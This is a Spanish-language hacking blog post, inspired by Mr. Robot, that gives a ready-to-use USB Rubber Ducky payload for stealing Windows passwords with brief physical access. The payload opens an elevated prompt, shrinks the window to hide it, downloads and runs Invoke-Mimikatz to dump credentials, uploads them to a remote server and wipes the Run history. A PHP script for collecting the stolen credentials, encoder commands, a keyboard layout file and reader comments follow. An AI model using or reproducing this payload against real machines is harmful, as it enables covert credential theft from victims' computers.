Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot
Este episodio de HackWise se inspira en la serie de mr.robot al ver una pequeña escena donde obtienen las contraseñas de una máquina Windows con tan solo 15 segundos de acceso físico en la computadora de la víctima.
Utilizaremos el USB Rubber ducky creado por Darren Kitchen de Hak5 con un payload que utiliza la herramienta Mimikatz para obtener los usuarios y contraseñas almacenadas en el caché de la memoria RAM de la víctima.
Video – Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot:
Este es el código que utilizamos para el payload del rubber ducky:
REM Title: Invoke mimikatz and send creds to remote server REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi DELAY 1000 REM Open an admin command prompt GUI r DELAY 500 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 2000 ALT y DELAY 1000 REM Obfuscate the command prompt STRING mode con:cols=18 lines=1 ENTER STRING color FE ENTER REM Download and execute Invoke Mimikatz then upload the results STRING powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://hackwise.mx/h/rubber/Mimikatz/', $output)" ENTER DELAY 15000 REM Clear the Run history and exit STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue" ENTER STRING exit ENTER
**No olviden cambiar los siguientes enlaces para que se hospeden en su servidor:
https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1
http://hackwise.mx/h/rubber/Mimikatz/
Descarga el duck encoder desde: https://github.com/hak5darren/USB-Rubber-Ducky
Código en PHP para capturar las contraseñas y almacenarlas en nuestro servidor.
<?php $file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds"; file_put_contents($file, file_get_contents("php://input")); ?>
Comandos para generar el payload inject.bin para el rubber ducky:
#Comando para generar el ducky script para computadoras en español java -jar ./encoder.jar -i inject -o inject.bin -l es.properties #Comando para generar el ducky script para computadoras en ingles java -jar ./encoder.jar -i inject -o inject.bin
Contenido del archivo es.properties para poder generar ducky scripts para teclados en español.
// Author: Midnitesnake // 01-11-2014 // LAYOUT_ESPANOL // Based from Italian Keymap // Thanks to Jaime.AlvarezdeAldecoa for patches // Characters fixed by DragsterPS // Fixes for Mac by Matto KEY_NON_US_100 = 100 ASCII_20 = KEY_SPACE // 32 ASCII_21 = KEY_1, MODIFIERKEY_SHIFT // 33 ! ASCII_22 = KEY_2, MODIFIERKEY_SHIFT // 34 ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT // 35 # ASCII_24 = KEY_4, MODIFIERKEY_SHIFT // 36 $ ASCII_25 = KEY_5, MODIFIERKEY_SHIFT // 37 % ASCII_26 = KEY_6, MODIFIERKEY_SHIFT // 38 & ASCII_27 = KEY_MINUS // 39 ASCII_28 = KEY_8, MODIFIERKEY_SHIFT // 40 ( ASCII_29 = KEY_9, MODIFIERKEY_SHIFT // 41 ) ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT // 42 * ASCII_2B = KEY_RIGHT_BRACE // 43 + ASCII_2C = KEY_COMMA // 44 , ASCII_2D = KEY_SLASH // 45 ASCII_2E = KEY_PERIOD // 46 . ASCII_2F = KEY_7, MODIFIERKEY_SHIFT // 47 / ASCII_30 = KEY_0 // 48 0 ASCII_31 = KEY_1 // 49 1 ASCII_32 = KEY_2 // 50 2 ASCII_33 = KEY_3 // 51 3 ASCII_34 = KEY_4 // 52 4 ASCII_35 = KEY_5 // 53 5 ASCII_36 = KEY_6 // 54 6 ASCII_37 = KEY_7 // 55 7 ASCII_38 = KEY_8 // 56 8 ASCII_39 = KEY_9 // 57 9 ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT // 58 : ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT // 59 ; ASCII_3C = KEY_TILDE // 60 < ASCII_3D = KEY_0, MODIFIERKEY_SHIFT // 61 = ASCII_3E = KEY_TILDE, MODIFIERKEY_SHIFT // 62 > ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT // 63 ? ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT // 64 @ ASCII_41 = KEY_A, MODIFIERKEY_SHIFT // 65 A ASCII_42 = KEY_B, MODIFIERKEY_SHIFT // 66 B ASCII_43 = KEY_C, MODIFIERKEY_SHIFT // 67 C ASCII_44 = KEY_D, MODIFIERKEY_SHIFT // 68 D ASCII_45 = KEY_E, MODIFIERKEY_SHIFT // 69 E ASCII_46 = KEY_F, MODIFIERKEY_SHIFT // 70 F ASCII_47 = KEY_G, MODIFIERKEY_SHIFT // 71 G ASCII_48 = KEY_H, MODIFIERKEY_SHIFT // 72 H ASCII_49 = KEY_I, MODIFIERKEY_SHIFT // 73 I ASCII_4A = KEY_J, MODIFIERKEY_SHIFT // 74 J ASCII_4B = KEY_K, MODIFIERKEY_SHIFT // 75 K ASCII_4C = KEY_L, MODIFIERKEY_SHIFT // 76 L ASCII_4D = KEY_M, MODIFIERKEY_SHIFT // 77 M ASCII_4E = KEY_N, MODIFIERKEY_SHIFT // 78 N ASCII_4F = KEY_O, MODIFIERKEY_SHIFT // 79 O ASCII_50 = KEY_P, MODIFIERKEY_SHIFT // 80 P ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT // 81 Q ASCII_52 = KEY_R, MODIFIERKEY_SHIFT // 82 R ASCII_53 = KEY_S, MODIFIERKEY_SHIFT // 83 S ASCII_54 = KEY_T, MODIFIERKEY_SHIFT // 84 T ASCII_55 = KEY_U, MODIFIERKEY_SHIFT // 85 U ASCII_56 = KEY_V, MODIFIERKEY_SHIFT // 86 V ASCII_57 = KEY_W, MODIFIERKEY_SHIFT // 87 W ASCII_58 = KEY_X, MODIFIERKEY_SHIFT // 88 X ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT // 89 Y ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT // 90 Z ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT // 91 [ ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT // 92 \ ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT // 93 ] ASCII_5E = KEY_EQUAL, MODIFIERKEY_SHIFT // 94 ^ ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT // 95 _ // ascii 60, 96: accento grave, non mappato ASCII_61 = KEY_A // 97 a ASCII_62 = KEY_B // 98 b ASCII_63 = KEY_C // 99 c ASCII_64 = KEY_D // 100 d ASCII_65 = KEY_E // 101 e ASCII_66 = KEY_F // 102 f ASCII_67 = KEY_G // 103 g ASCII_68 = KEY_H // 104 h ASCII_69 = KEY_I // 105 i ASCII_6A = KEY_J // 106 j ASCII_6B = KEY_K // 107 k ASCII_6C = KEY_L // 108 l ASCII_6D = KEY_M // 109 m ASCII_6E = KEY_N // 110 n ASCII_6F = KEY_O // 111 o ASCII_70 = KEY_P // 112 p ASCII_71 = KEY_Q // 113 q ASCII_72 = KEY_R // 114 r ASCII_73 = KEY_S // 115 s ASCII_74 = KEY_T // 116 t ASCII_75 = KEY_U // 117 u ASCII_76 = KEY_V // 118 v ASCII_77 = KEY_W // 119 w ASCII_78 = KEY_X // 120 x ASCII_79 = KEY_Y // 121 y ASCII_7A = KEY_Z // 122 z ASCII_7B = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT // 123 { ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT // 124 | ASCII_7D = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT // 125 } ASCII_7E = KEY_SEMICOLON, MODIFIERKEY_RIGHT_ALT // 126 ~ ISO_8859_1_BA = KEY_NON_US_100 // 127 º // ascii 7E, 126: tilde, non mappato ISO_8859_1_E0 = KEY_QUOTE // 192 a grave ISO_8859_1_E8 = KEY_LEFT_BRACE // 232 e grave ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT // 233 e acuta ISO_8859_1_EC = KEY_EQUAL // 236 i grave ISO_8859_1_F2 = KEY_SEMICOLON // 242 o grave ISO_8859_1_F9 = KEY_BACKSLASH // 249 u grave ISO_8859_1_F1 = KEY_SEMICOLON ISO_8859_1_D1 = KEY_SEMICOLON, MODIFIERKEY_SHIFT
Si tienes dudas, puedes dejar tus comentarios y con gusto te ayudaré 😀
6 thoughts on "Hackeando contraseñas con el USB Rubber Ducky como en Mr.Robot"
Lo siento, debes estar conectado para publicar un comentario.
Hola Hackwise, oye pregunta habra forma de que hagas un video creando tu propio USB RUBBER DUCKY?
Hola, esta en la lista de proyectos a hacer. Saludos !
hola buenas noches, no he recibido el correo de confirmación y ya tengo mi cuenta premium, me podrian ayudar por favor?
solo membresías pueden ver los videos??
Oye cesar. disculpa necesito de tu ayuda, Tengo problemas con tu script de php que pusiste arriba. podrias explicar un poco mejor eso?. ya lo subi a mi localhost y ejecute los comandos de powershell necesarios para mandar el POST. solo quiero saber que comando usaste tu para recibir los datos de UPLOADSTRING.
Gracias. atte. Manuel Ponce
Ya lo repare :). Mira les explico:
hay un error porque mi host lo estoy corriendo en Ubuntu. y la carpeta donde tenia el archivo que captura los datos no tenia permisos de escritura si no es por root. lo arreglé usando el comando: chmod 777 [carpeta]